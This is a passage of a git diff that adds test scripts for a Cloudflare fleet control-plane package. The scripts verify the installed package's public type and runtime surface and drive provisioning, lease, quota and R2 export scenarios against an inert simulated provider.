+const plane = surface.createCloudflareControlPlane({
+  accountId: 'packed-account', apiToken: 'inert-token',
+  fleetDatabase: database, quotaDatabase: database, quotaScope: 'packed-quota',
+  fetch: unexpected, maintenanceFetch: unexpected,
+  databaseExports: {
+    bucket: { put: unexpected, get: unexpected, delete: unexpected },
+    bucketName: 'packed-exports',
+    streams: { DigestStream: class {}, FixedLengthStream: class {} },
+    randomUUID: () => crypto.randomUUID(),
+  },
+});
+assert.equal(Object.getPrototypeOf(plane), Object.prototype);
+assert.equal(Object.isFrozen(plane), true);
+assert.deepEqual(Reflect.ownKeys(plane).sort(), ${JSON.stringify(METHOD_NAMES)});
+for (const method of ${JSON.stringify(METHOD_NAMES)}) {
+  const descriptor = Object.getOwnPropertyDescriptor(plane, method);
+  assert.equal(typeof descriptor.value, 'function', method);
+  assert.equal(descriptor.writable, false, method);
+  assert.equal(descriptor.configurable, false, method);
+}
+`;
+}
+
+export async function verifyControlPlanePackedSurface({
+  consumerDirectory,
+  packageRoot,
+}) {
+  const consumer = await realpath(consumerDirectory);
+  const consumerRequire = createRequire(join(consumer, 'package.json'));
+  const manifestPath = await realpath(
+    consumerRequire.resolve(`${PACKAGE_NAME}/package.json`),
+  );
+  const installedRoot = dirname(manifestPath);
+  assert.ok(
+    installedRoot.startsWith(`${consumer}${sep}`),
+    'Fleet must resolve inside the installed consumer',
+  );
+  assert.notEqual(
+    installedRoot,
+    await realpath(packageRoot),
+    'Fleet must not resolve to its workspace implementation',
+  );
+  const manifest = JSON.parse(await readFile(manifestPath, 'utf8'));
+  assert.deepEqual(manifest.exports['./cloudflare-control-plane'], {
+    types: './dist/cloudflare-control-plane.d.ts',
+    default: './dist/cloudflare-control-plane.js',
+  });
+  const runtimeEntry = await realpath(consumerRequire.resolve(ENTRY_NAME));
+  assert.equal(
+    runtimeEntry,
+    join(installedRoot, 'dist/cloudflare-control-plane.js'),
+  );
+  const declarationEntry = await realpath(
+    join(installedRoot, 'dist/cloudflare-control-plane.d.ts'),
+  );
+  const workersTypesManifest = await realpath(
+    consumerRequire.resolve('@cloudflare/workers-types/package.json'),
+  );
+  assert.equal(
+    await realpath(
+      createRequire(runtimeEntry).resolve(
+        '@cloudflare/workers-types/package.json',
+      ),
+    ),
+    workersTypesManifest,
+    'Fleet and the Worker consumer must resolve the same Workers type peer',
+  );
+  const toolingRequire = createRequire(
+    join(resolve(packageRoot), 'package.json'),
+  );
+  const ts = toolingRequire('typescript');
+  const artifacts = {
+    worker: join(consumer, 'control-plane-worker.ts'),
+    config: join(consumer, 'tsconfig.control-plane-worker.json'),
+    runtime: join(consumer, 'control-plane-runtime.mjs'),
+    report: join(consumer, 'control-plane-surface-report.json'),
+  };
+  const configuration = {
+    compilerOptions: {
+      target: 'ES2022',
+      lib: ['ES2022'],
+      module: 'NodeNext',
+      moduleResolution: 'NodeNext',
+      strict: true,
+      noEmit: true,
+      skipLibCheck: false,
+      types: ['@cloudflare/workers-types'],
+    },
+    files: ['control-plane-worker.ts'],
+  };
+  await writeFile(artifacts.worker, workerProgram());
+  await writeFile(
+    artifacts.config,
+    `${JSON.stringify(configuration, null, 2)}\n`,
+  );
+  await writeFile(artifacts.runtime, runtimeProgram(runtimeEntry));
+  const parsed = ts.parseJsonConfigFileContent(configuration, ts.sys, consumer);
+  const program = ts.createProgram(parsed.fileNames, parsed.options);
+  const resolution = ts.resolveModuleName(
+    ENTRY_NAME,
+    artifacts.worker,
+    parsed.options,
+    ts.sys,
+  ).resolvedModule;
+  assert.ok(resolution, 'Worker program cannot resolve the installed subpath');
+  assert.equal(await realpath(resolution.resolvedFileName), declarationEntry);
+  const diagnostics = [...parsed.errors, ...ts.getPreEmitDiagnostics(program)];
+  const formattedDiagnostics = ts.formatDiagnosticsWithColorAndContext(
+    diagnostics,
+    {
+      getCanonicalFileName: (name) => name,
+      getCurrentDirectory: () => consumer,
+      getNewLine: () => '\n',
+    },
+  );
+  const identity = {
+    packageRoot: installedRoot,
+    manifest: manifestPath,
+    runtimeEntry,
+    declarationEntry,
+    workersTypesManifest,
+    workersTypesVersion: JSON.parse(
+      await readFile(workersTypesManifest, 'utf8'),
+    ).version,
+    runtimeSha256: createHash('sha256')
+      .update(await readFile(runtimeEntry))
+      .digest('hex'),
+    declarationSha256: createHash('sha256')
+      .update(await readFile(declarationEntry))
+      .digest('hex'),
+    typescriptVersion: ts.version,
+  };
+  await writeFile(
+    artifacts.report,
+    `${JSON.stringify({ status: 'checking', identity, artifacts, diagnostics: formattedDiagnostics }, null, 2)}\n`,
+  );
+  assert.equal(diagnostics.length, 0, formattedDiagnostics);
+  const reached = inspectPublicTypes(
+    ts,
+    program,
+    resolution.resolvedFileName,
+    installedRoot,
+  );
+  execFileSync(process.execPath, [artifacts.runtime], {
+    cwd: consumer,
+    stdio: 'pipe',
+  });
+  await writeFile(
+    artifacts.report,
+    `${JSON.stringify({ status: 'passed', identity, artifacts, valueNames: VALUE_NAMES, typeNames: TYPE_NAMES, reached, diagnostics: [] }, null, 2)}\n`,
+  );
+  return { identity, artifacts };
+}
diff --git a/packages/fleet-control/scripts/control-plane-packed-surface.test.mjs b/packages/fleet-control/scripts/control-plane-packed-surface.test.mjs
new file mode 100644
index 00000000..b73275d5
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-surface.test.mjs
@@ -0,0 +1,215 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import assert from 'node:assert/strict';
+import {
+  cp,
+  mkdir,
+  mkdtemp,
+  readFile,
+  realpath,
+  rm,
+  symlink,
+  writeFile,
+} from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { dirname, join, resolve } from 'node:path';
+import test, { after, before } from 'node:test';
+import { fileURLToPath } from 'node:url';
+import { verifyControlPlanePackedSurface } from './control-plane-packed-surface.mjs';
+
+const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+let baselineDirectory;
+
+before(async () => {
+  baselineDirectory = await mkdtemp(join(tmpdir(), 'fleet-surface-baseline-'));
+  await cp(join(packageRoot, 'dist'), join(baselineDirectory, 'dist'), {
+    recursive: true,
+  });
+  await cp(
+    join(packageRoot, 'package.json'),
+    join(baselineDirectory, 'package.json'),
+  );
+});
+
+after(async () => {
+  if (baselineDirectory)
+    await rm(baselineDirectory, { recursive: true, force: true });
+});
+
+async function fixture(context) {
+  const consumerDirectory = await mkdtemp(
+    join(tmpdir(), 'fleet-surface-mutation-'),
+  );
+  context.after(() => rm(consumerDirectory, { recursive: true, force: true }));
+  const installedRoot = join(
+    consumerDirectory,
+    'node_modules/@proofoftech/fleet-control',
+  );
+  await mkdir(installedRoot, { recursive: true });
+  // Copies isolate mutation tests; the publication gate consumes an installed tarball.
+  await cp(join(baselineDirectory, 'dist'), join(installedRoot, 'dist'), {
+    recursive: true,
+  });
+  const manifest = JSON.parse(
+    await readFile(join(baselineDirectory, 'package.json'), 'utf8'),
+  );
+  manifest.exports['./cloudflare-control-plane'] = {
+    types: './dist/cloudflare-control-plane.d.ts',
+    default: './dist/cloudflare-control-plane.js',
+  };
+  await writeFile(
+    join(installedRoot, 'package.json'),
+    JSON.stringify(manifest),
+  );
+  await writeFile(
+    join(consumerDirectory, 'package.json'),
+    JSON.stringify({ private: true, type: 'module' }),
+  );
+  await mkdir(join(consumerDirectory, 'node_modules/@cloudflare'), {
+    recursive: true,
+  });
+  for (const [name, target] of [
+    [
+      '@cloudflare/workers-types',
+      join(packageRoot, 'node_modules/@cloudflare/workers-types'),
+    ],
+    ['@proofoftech/flowsafe', resolve(packageRoot, '../flowsafe')],
+    ['cloudflare', join(packageRoot, 'node_modules/cloudflare')],
+    ['p-queue', join(packageRoot, 'node_modules/p-queue')],
+  ]) {
+    await symlink(
+      await realpath(target),
+      join(consumerDirectory, 'node_modules', name),
+      'dir',
+    );
+  }
+  return {
+    consumerDirectory,
+    installedRoot,
+    verify: () =>
+      verifyControlPlanePackedSurface({ consumerDirectory, packageRoot }),
+    async replace(file, before, after) {
+      const path = join(installedRoot, 'dist', file);
+      const source = await readFile(path, 'utf8');
+      assert.ok(source.includes(before), `mutation anchor missing in ${file}`);
+      await writeFile(path, source.replace(before, after));
+    },
+  };
+}
+
+test('accepts the built public surface through isolated package resolution', async (context) => {
+  const consumer = await fixture(context);
+  const result = await consumer.verify();
+  assert.equal(result.identity.packageRoot, consumer.installedRoot);
+  const report = JSON.parse(await readFile(result.artifacts.report, 'utf8'));
+  assert.equal(report.status, 'passed');
+  assert.deepEqual(report.diagnostics, []);
+  const config = JSON.parse(await readFile(result.artifacts.config, 'utf8'));
+  assert.equal(config.compilerOptions.skipLibCheck, false);
+  assert.deepEqual(config.compilerOptions.types, ['@cloudflare/workers-types']);
+});
+
+test('rejects a missing named type import with its compiler diagnostic', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.d.ts',
+    'export interface CloudflareFleetInventoryOptions',
+    'interface CloudflareFleetInventoryOptions',
+  );
+  await assert.rejects(
+    consumer.verify(),
+    /has no exported member named 'CloudflareFleetInventoryOptions'/,
+  );
+});
+
+test('rejects an extra declaration export without relying on compiler errors', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.d.ts',
+    'export interface CloudflareControlPlaneOptions',
+    'export interface UnexpectedPublicType {}\nexport interface CloudflareControlPlaneOptions',
+  );
+  await assert.rejects(
+    consumer.verify(),
+    /curated declaration export table differs/,
+  );
+});
+
+test('rejects a referenced local data type missing from the curated exports', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.d.ts',
+    'export interface CloudflareControlPlaneOptions {',
+    'interface HiddenPackedData { marker: string }\nexport interface CloudflareControlPlaneOptions { readonly hidden?: HiddenPackedData;',
+  );
+  await assert.rejects(
+    consumer.verify(),
+    /missing public type export HiddenPackedData/,
+  );
+});
+
+test('rejects a nominal provider client exposed through an adapter constructor', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'd1-fleet-state-database.d.ts',
+    'constructor(binding: D1Database)',
+    "constructor(binding: D1Database, client?: import('./cloudflare-client.js').CloudflareProvisioningClient)",
+  );
+  await assert.rejects(
+    consumer.verify(),
+    /forbidden public capability CloudflareProvisioningClient/,
+  );
+});
+
+test('rejects a provider capability exposed through a callback result', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.d.ts',
+    'export interface CloudflareControlPlaneOptions {',
+    "export interface CloudflareControlPlaneOptions { readonly escaped?: () => import('./types.js').ProvisioningBackend;",
+  );
+  await assert.rejects(
+    consumer.verify(),
+    /forbidden public capability ProvisioningBackend/,
+  );
+});
+
+test('excludes private and protected fields from callable public closure', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'd1-fleet-state-database.d.ts',
+    '#private;',
+    "#private;\nprivate client: import('./cloudflare-client.js').CloudflareProvisioningClient;\nprotected backend: import('./types.js').ProvisioningBackend;",
+  );
+  await consumer.verify();
+});
+
+test('rejects a runtime export absent from the declaration table', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.js',
+    'export { ProvisioningError }',
+    'export const unexpectedRuntimeCapability = () => {};\nexport { ProvisioningError }',
+  );
+  await assert.rejects(consumer.verify(), /unexpectedRuntimeCapability/);
+});
+
+test('rejects a missing runtime export despite intact declarations', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.js',
+    "export { ProvisioningError } from './provision.js';",
+    '',
+  );
+  await assert.rejects(consumer.verify(), /ProvisioningError/);
+});
+
+test('rejects an extra callable capability on the factory return object', async (context) => {
+  const consumer = await fixture(context);
+  await consumer.replace(
+    'cloudflare-control-plane.js',
+    'return Object.freeze({',
+    'return Object.freeze({ unexpectedFactoryCapability() {},',
+  );
+  await assert.rejects(consumer.verify(), /unexpectedFactoryCapability/);
+});
diff --git a/packages/fleet-control/scripts/control-plane-packed-worker.ts b/packages/fleet-control/scripts/control-plane-packed-worker.ts
new file mode 100644
index 00000000..13d17c88
--- /dev/null
+++ b/packages/fleet-control/scripts/control-plane-packed-worker.ts
@@ -0,0 +1,728 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { AsyncLocalStorage } from 'node:async_hooks';
+import type {
+  Crypto,
+  D1Database,
+  R2Bucket,
+  FixedLengthStream as WorkerFixedLengthStream,
+} from '@cloudflare/workers-types';
+import {
+  type CloudflareDeploymentSpec,
+  createCloudflareControlPlane,
+  D1CloudflareApiRateCoordinator,
+  D1FleetStateDatabase,
+  ProvisioningError,
+  R2DatabaseExportStore,
+} from '@proofoftech/fleet-control/cloudflare-control-plane';
+
+declare const crypto: Crypto;
+declare const FixedLengthStream: typeof WorkerFixedLengthStream;
+
+interface Env {
+  readonly FLEET_DB: D1Database;
+  readonly QUOTA_DB: D1Database;
+  readonly FIXTURE_DB: D1Database;
+  readonly TENANT_DB: D1Database;
+  readonly EXPORTS: R2Bucket;
+}
+
+const DATABASE_ID = '11111111-1111-4111-8111-111111111111';
+const RECEIPT_ID = '22222222-2222-4222-8222-222222222222';
+const MIGRATION = 'CREATE TABLE packed_injected_failure (id TEXT PRIMARY KEY)';
+const SECRETS = {
+  deploymentIdentity: 'packed-identity-secret-0000000000000001',
+  maintenanceAdmin: 'packed-maintenance-secret-000000000001',
+  application: {},
+};
+
+function spec(tenantTag = 'packedlife'): CloudflareDeploymentSpec {
+  return {
+    tenantTag,
+    environment: 'production',
+    scriptName: tenantTag,
+    databaseName: tenantTag,
+    compatibilityDate: '2026-08-06',
+    compatibilityFlags: [],
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'platform',
+    schemaVersion: 1,
+    migrations: [{ version: 1, sql: MIGRATION }],
+    durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }],
+    durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }],
+    maintenanceBaseUrl: `https://control-${tenantTag}.example.test`,
+    routeHostname: `${tenantTag}.example.test`,
+    application: { vars: [], secrets: [], r2Buckets: [] },
+  };
+}
+
+function errorInfo(error: unknown): unknown {
+  if (!(error instanceof Error)) return { message: String(error) };
+  return {
+    name: error.name,
+    message: error.message,
+    ...(error.cause === undefined ? {} : { cause: errorInfo(error.cause) }),
+    ...(error instanceof AggregateError
+      ? { errors: error.errors.map(errorInfo) }
+      : {}),
+  };
+}
+
+function deferred<T>() {
+  let resolve!: (value: T) => void;
+  const promise = new Promise<T>((next) => {
+    resolve = next;
+  });
+  return { promise, resolve };
+}
+
+async function within<T>(operation: Promise<T>, message: string): Promise<T> {
+  let timer: ReturnType<typeof setTimeout> | undefined;
+  try {
+    return await Promise.race([
+      operation,
+      new Promise<never>((_, reject) => {
+        timer = setTimeout(() => reject(new Error(message)), 10_000);
+      }),
+    ]);
+  } finally {
+    if (timer !== undefined) clearTimeout(timer);
+  }
+}
+
+function enterGate(
+  entered: Promise<void>,
+  operation: Promise<unknown>,
+): Promise<void> {
+  return within(
+    Promise.race([
+      entered,
+      operation.then((cause) => {
+        throw new Error('operation completed before provider gate', { cause });
+      }),
+    ]),
+    'provider gate timed out',
+  );
+}
+
+async function waitFor(check: () => Promise<boolean>): Promise<void> {
+  const deadline = Date.now() + 5_000;
+  while (!(await check())) {
+    if (Date.now() >= deadline)
+      throw new Error('packed probe barrier timed out');
+    await new Promise((resolve) => setTimeout(resolve, 0));
+  }
+}
+
+function single(result: unknown): Response {
+  return Response.json({ success: true, errors: [], messages: [], result });
+}
+
+function page(result: readonly unknown[]): Response {
+  return Response.json({
+    success: true,
+    errors: [],
+    messages: [],
+    result,
+    result_info: {
+      page: 1,
+      per_page: 100,
+      count: result.length,
+      total_count: result.length,
+      total_pages: 1,
+    },
+  });
+}
+
+function failure(message: string, status = 400): Response {
+  return Response.json(
+    { success: false, errors: [{ code: 1, message }], result: null },
+    { status },
+  );
+}
+
+function exportOptions(env: Env) {
+  return {
+    bucket: env.EXPORTS,
+    bucketName: 'packed-exports',
+    keyPrefix: 'proof/',
+    streams: { DigestStream: crypto.DigestStream, FixedLengthStream },
+    randomUUID: () => crypto.randomUUID(),
+  };
+}
+
+function plane(env: Env, providerFetch: typeof fetch) {
+  return createCloudflareControlPlane({
+    accountId: 'account',
+    apiToken: 'packed-inert-provider-token',
+    fleetDatabase: env.FLEET_DB,
+    quotaDatabase: env.QUOTA_DB,
+    quotaScope: 'packed-factory-provider',
+    databaseExports: exportOptions(env),
+    fetch: providerFetch,
+    maintenanceFetch: async () => {
+      throw new Error('packed failure scenario cannot invoke maintenance');
+    },
+    concurrency: 1,
+    requestTimeoutMs: 10_000,
+    leaseTtlMs: 120_000,
+    leaseRenewalIntervalMs: 60_000,
+  });
+}
+
+interface ProviderRequest {
+  readonly method: string;
+  readonly url: URL;
+  readonly body: Record<string, unknown>;
+}
+
+async function provider(env: Env, invocationId: string) {
+  await env.FIXTURE_DB.batch([
+    env.FIXTURE_DB.prepare(
+      'CREATE TABLE IF NOT EXISTS packed_provider_databases (id TEXT PRIMARY KEY, name TEXT UNIQUE NOT NULL)',
+    ),
+    env.FIXTURE_DB.prepare(
+      'CREATE TABLE IF NOT EXISTS packed_provider_requests (ordinal INTEGER PRIMARY KEY AUTOINCREMENT, invocation_id TEXT NOT NULL, method TEXT NOT NULL, url TEXT NOT NULL)',
+    ),
+  ]);
+  let requests = 0;
+  async function respond({
+    method,
+    url,
+    body,
+  }: ProviderRequest): Promise<Response> {
+    if (url.origin !== 'https://api.cloudflare.com') {
+      throw new Error(`unexpected inert-provider origin ${url.origin}`);
+    }
+    requests += 1;
+    await env.FIXTURE_DB.prepare(
+      'INSERT INTO packed_provider_requests (invocation_id, method, url) VALUES (?, ?, ?)',
+    )
+      .bind(invocationId, method, url.href)
+      .run();
+    const path = url.pathname;
+    if (
+      method === 'GET' &&
+      (path === '/client/v4/accounts/account/tokens/verify' ||
+        path === '/client/v4/user/tokens/verify')
+    ) {
+      return single({ id: 'token-id', status: 'active' });
+    }
+    if (
+      method === 'GET' &&
+      path === '/client/v4/accounts/account/tokens/token-id'
+    ) {
+      return single({
+        id: 'token-id',
+        status: 'active',
+        policies: [
+          {
+            id: 'packed-zone-authority',
+            effect: 'allow',
+            permission_groups: [
+              { id: 'zone-read', name: 'Zone Read' },
+              { id: 'routes-read', name: 'Workers Routes Read' },
+              { id: 'routes-write', name: 'Workers Routes Write' },
+            ],
+            resources: {
+              'com.cloudflare.api.account.account': {
+                'com.cloudflare.api.account.zone.*': '*',
+              },
+            },
+          },
+        ],
+      });
+    }
+    if (method === 'GET' && path === '/client/v4/zones') return page([]);
+    const account = '/client/v4/accounts/account';
+    if (path === `${account}/d1/database`) {
+      if (method === 'GET') {
+        if (url.searchParams.has('page')) return page([]);
+        const name = url.searchParams.get('name');
+        const rows = await env.FIXTURE_DB.prepare(
+          'SELECT id AS uuid, name FROM packed_provider_databases WHERE (? IS NULL OR name = ?)',
+        )
+          .bind(name, name)
+          .all();
+        return page(rows.results);
+      }
+      if (method === 'POST' && body.name === 'packedlife') {
+        await env.FIXTURE_DB.prepare(
+          'INSERT INTO packed_provider_databases (id, name) VALUES (?, ?)',
+        )
+          .bind(DATABASE_ID, body.name)
+          .run();
+        return single({ uuid: DATABASE_ID, name: body.name });
+      }
+    }
+    if (path === `${account}/d1/database/${DATABASE_ID}`) {
+      const row = await env.FIXTURE_DB.prepare(
+        'SELECT id AS uuid, name FROM packed_provider_databases WHERE id = ?',
+      )
+        .bind(DATABASE_ID)
+        .first();
+      if (!row) return failure('logical database absent', 404);
+      if (method === 'GET') return single(row);
+      if (method === 'DELETE') {
+        await env.FIXTURE_DB.prepare(
+          'DELETE FROM packed_provider_databases WHERE id = ?',
+        )
+          .bind(DATABASE_ID)
+          .run();
+        return single({});
+      }
+    }
+    if (
+      method === 'POST' &&
+      path === `${account}/d1/database/${DATABASE_ID}/query`
+    ) {
+      const statements = Array.isArray(body.batch) ? body.batch : [body];
+      if (statements.some((statement) => statement.sql === MIGRATION)) {
+        return failure('packed migration failure after identity seed');
+      }
+      const prepared = statements.map((statement) => {
+        if (typeof statement.sql !== 'string')
+          throw new Error('missing provider SQL');
+        const values = Array.isArray(statement.params) ? statement.params : [];
+        return env.TENANT_DB.prepare(statement.sql).bind(...values);
+      });
+      return page(await env.TENANT_DB.batch(prepared));
+    }
+    if (
+      method === 'GET' &&
+      [
+        `${account}/workers/scripts`,
+        `${account}/workers/domains`,
+        `${account}/workers/durable_objects/namespaces`,
+        `${account}/workers/dispatch/namespaces`,
+      ].includes(path)
+    )
+      return page([]);
+    if (
+      method === 'GET' &&
+      /^\/client\/v4\/accounts\/account\/workers\/scripts\/packedlife(?:\/(?:deployments|versions|settings|subdomain|secrets))?$/.test(
+        path,
+      )
+    ) {
+      return failure('logical Worker absent', 404);
+    }
+    throw new Error(`unexpected inert-provider request ${method} ${url.href}`);
+  }
+  return { respond, count: () => requests };
+}
+
+function transport(
+  respond: (request: ProviderRequest) => Promise<Response>,
+): typeof fetch {
+  return async (input, init) => {
+    const url = new URL(
+      typeof input === 'string'
+        ? input
+        : input instanceof URL
+          ? input.href
+          : input.url,
+    );
+    const method = (
+      init?.method ?? (input instanceof Request ? input.method : 'GET')
+    ).toUpperCase();
+    const raw = init?.body;
+    const body = typeof raw === 'string' ? JSON.parse(raw) : {};
+    return respond({ method, url, body });
+  };
+}
+
+async function provisionFailure(
+  control: ReturnType<typeof plane>,
+  tenant = 'packedlife',
+) {
+  try {
+    await control.provisionDeployment({
+      spec: spec(tenant),
+      secrets: SECRETS,
+      initialExecutionFenceState: 'open',
+    });
+  } catch (error) {
+    return error;
+  }
+  throw new Error('injected provisioning failure unexpectedly succeeded');
+}
+
+async function leaseWinner(env: Env, invocationId: string) {
+  const inert = await provider(env, invocationId);
+  const held = deferred<void>();
+  const release = deferred<void>();
+  let firstRead = true;
+  const selectedFetch = transport(async (request) => {
+    if (firstRead) {
+      firstRead = false;
+      held.resolve();
+      await release.promise;
+    }
+    return inert.respond(request);
+  });
+  const first = plane(env, selectedFetch);
+  const second = plane(env, selectedFetch);
+  const winner = provisionFailure(first);
+  let contender: unknown;
+  let beforeRelease: number;
+  try {
+    await enterGate(held.promise, winner);
+    contender = await within(
+      provisionFailure(second),
+      'contender did not release',
+    );
+    beforeRelease = inert.count();
+  } finally {
+    release.resolve();
+  }
+  const result = await within(winner, 'winner did not finish');
+  if (
+    !(result instanceof ProvisioningError) ||
+    result.cleanup?.status !== 'pending'
+  ) {
+    throw new Error('provisioning did not admit bounded cleanup', {
+      cause: result,
+    });
+  }
+  return {
+    contender: errorInfo(contender),
+    beforeRelease,
+    cleanup: result.cleanup,
+    record: await first.getDeployment('packedlife', 'production'),
+    requests: inert.count(),
+  };
+}
+
+async function queuedAuthority(env: Env, stale: boolean) {
+  const contexts = new AsyncLocalStorage<string>();
+  const b = `packed${stale ? 'stale' : 'live'}b`;
+  const a = `packed${stale ? 'stale' : 'live'}a`;
+  const bHeld = deferred<void>();
+  const releaseB = deferred<void>();
+  const aHeld = deferred<void>();
+  const releaseA = deferred<void>();
+  const seen: Array<{
+    method: string;
+    name: string | null;
+    context: string | undefined;
+  }> = [];
+  let heldB = false;
+  const control = plane(
+    env,
+    transport(async ({ method, url, body }) => {
+      if (
+        url.origin !== 'https://api.cloudflare.com' ||
+        url.pathname !== '/client/v4/accounts/account/d1/database'
+      ) {
+        throw new Error(`unexpected queue-probe URL ${url.href}`);
+      }
+      const name =
+        method === 'GET' ? url.searchParams.get('name') : String(body.name);
+      seen.push({ method, name, context: contexts.getStore() });
+      if (method === 'GET' && name === b) {
+        if (!heldB) {
+          heldB = true;
+          bHeld.resolve();
+          await releaseB.promise;
+        }
+        return page([]);
+      }
+      if (method === 'GET' && name === a) {
+        aHeld.resolve();
+        await releaseA.promise;
+        return failure('packed A held-read failure', 403);
+      }
+      if (method === 'POST' && name === b)
+        return failure('packed B create reached transport');
+      throw new Error(`unexpected queue-probe request ${method} ${name}`);
+    }),
+  );
+  await control.getDeployment(b, 'production');
+  await env.FLEET_DB.batch([
+    env.FLEET_DB.prepare(
+      'CREATE TABLE IF NOT EXISTS packed_lease_renewals (tenant_tag TEXT NOT NULL)',
+    ),
+    env.FLEET_DB.prepare(
+      'CREATE TRIGGER IF NOT EXISTS packed_observe_lease_renewal AFTER UPDATE OF expires_at ON anchorage_fleet_leases BEGIN INSERT INTO packed_lease_renewals (tenant_tag) VALUES (NEW.tenant_tag); END',
+    ),
+  ]);
+  const second = contexts.run('B', () => provisionFailure(control, b));
+  try {
+    await enterGate(bHeld.promise, second);
+    const first = contexts.run('A', () => provisionFailure(control, a));
+    releaseB.resolve();
+    await enterGate(aHeld.promise, first);
+    await waitFor(async () => {
+      const row = await env.FLEET_DB.prepare(
+        'SELECT COUNT(*) AS count FROM packed_lease_renewals WHERE tenant_tag = ?',
+      )
+        .bind(b)
+        .first<{ count: number }>();
+      return Number(row?.count) >= 2;
+    });
+    await new Promise((resolve) => setTimeout(resolve, 0));
+    const queued = await control.getDeployment(b, 'production');
+    const beforeRelease = seen.filter(
+      (request) => request.method === 'POST' && request.name === b,
+    ).length;
+    if (stale) {
+      await env.FLEET_DB.prepare(
+        "UPDATE anchorage_fleet_leases SET owner_token = 'packed-takeover' WHERE tenant_tag = ? AND environment = 'production'",
+      )
+        .bind(b)
+        .run();
+    }
+    releaseA.resolve();
+    const [aError, bError] = await Promise.all([first, second]);
+    return {
+      queuedPhase: queued?.phase,
+      beforeRelease,
+      seen,
+      aError: errorInfo(aError),
+      bError: errorInfo(bError),
+      record: await control.getDeployment(b, 'production'),
+    };
+  } finally {
+    releaseB.resolve();
+    releaseA.resolve();
+  }
+}
+
+async function quota(env: Env) {
+  const quotaScope = 'packed-independent-quota';
+  let observedBatches = 0;
+  const observed = new Proxy(env.QUOTA_DB, {
+    get(database, property) {
+      if (property === 'batch') {
+        return async <T>(statements: Parameters<D1Database['batch']>[0]) => {
+          const result = await database.batch<T>(statements);
+          observedBatches += 1;
+          return result;
+        };
+      }
+      const value = Reflect.get(database, property, database);
+      return typeof value === 'function' ? value.bind(database) : value;
+    },
+  });
+  const first = new D1CloudflareApiRateCoordinator(env.QUOTA_DB, {
+    quotaScope,
+  });
+  const second = new D1CloudflareApiRateCoordinator(observed, { quotaScope });
+  await Promise.all([first.acquire(), second.acquire()]);
+  await env.QUOTA_DB.prepare(
+    'DELETE FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?',
+  )
+    .bind(quotaScope)
+    .run();
+  await env.QUOTA_DB.prepare(
+    "WITH RECURSIVE sequence(value) AS (SELECT 1 UNION ALL SELECT value + 1 FROM sequence WHERE value < 1099) INSERT INTO anchorage_cloudflare_api_rate_reservations (quota_scope, reservation_id, reserved_at) SELECT ?, 'seed-' || value, CAST(unixepoch('subsec') * 1000 AS INTEGER) FROM sequence",
+  )
+    .bind(quotaScope)
+    .run();
+  await first.acquire();
+  const baseline = observedBatches;
+  const abort = new AbortController();
+  let acquired = false;
+  const blocked = second.acquire(abort.signal).then(() => {
+    acquired = true;
+    return null;
+  }, errorInfo);
+  await waitFor(async () => observedBatches > baseline);
+  abort.abort();
+  const error = await blocked;
+  const count = await env.QUOTA_DB.prepare(
+    'SELECT COUNT(*) AS count FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?',
+  )
+    .bind(quotaScope)
+    .first<{ count: number }>();
+  await env.QUOTA_DB.prepare(
+    "DELETE FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ? AND reservation_id = 'seed-1'",
+  )
+    .bind(quotaScope)
+    .run();
+  await new D1CloudflareApiRateCoordinator(env.QUOTA_DB, {
+    quotaScope,
+  }).acquire();
+  const after = await env.QUOTA_DB.prepare(
+    'SELECT COUNT(*) AS count FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?',
+  )
+    .bind(quotaScope)
+    .first<{ count: number }>();
+  return {
+    acquired,
+    error,
+    count: Number(count?.count),
+    countAfterFreshInstance: Number(after?.count),
+    completedBlockedBatches: observedBatches - baseline,
+  };
+}
+
+function bytes(seed = 17) {
+  return Uint8Array.from(
+    { length: 1_048_576 },
+    (_, index) => (index * 31 + seed) % 256,
+  );
+}
+
+function body(value: Uint8Array) {
+  return new ReadableStream<Uint8Array>({
+    start(controller) {
+      controller.enqueue(value);
+      controller.close();
+    },
+  });
+}
+
+function hex(digest: ArrayBuffer) {
+  return Array.from(new Uint8Array(digest), (byte) =>
+    byte.toString(16).padStart(2, '0'),
+  ).join('');
+}
+
+async function integrity(value: Uint8Array) {
+  return {
+    size: value.byteLength,
+    sha256: hex(await crypto.subtle.digest('SHA-256', value)),
+  };
+}
+
+async function r2(env: Env, action: string) {
+  const store = new R2DatabaseExportStore(exportOptions(env));
+  const source = bytes(action === 'receipt-mismatch' ? 29 : 17);
+  const expected = await integrity(source);
+  const identity = {
+    version: 1 as const,
+    authority: store.receiptAuthority,
+    databaseId: DATABASE_ID,
+    operationId: RECEIPT_ID,
+  };
+  let result: Awaited<ReturnType<R2DatabaseExportStore['write']>> | undefined;
+  let error: unknown;
+  try {
+    result =
+      action === 'r2-write'
+        ? await store.write({
+            databaseId: DATABASE_ID,
+            fileName: 'export.sql',
+            body: body(source),
+            contentLength: source.length,
+          })
+        : await store.writeReceipt({
+            identity,
+            body: body(source),
+            contentLength: source.length,
+            expectedIntegrity: Promise.resolve(expected),
+          });
+  } catch (reason) {
+    error = errorInfo(reason);
+  }
+  const key =
+    action === 'r2-write' && result
+      ? result.location.slice('r2://packed-exports/'.length)
+      : `proof/receipts/v1/${DATABASE_ID}/${RECEIPT_ID}.sql`;
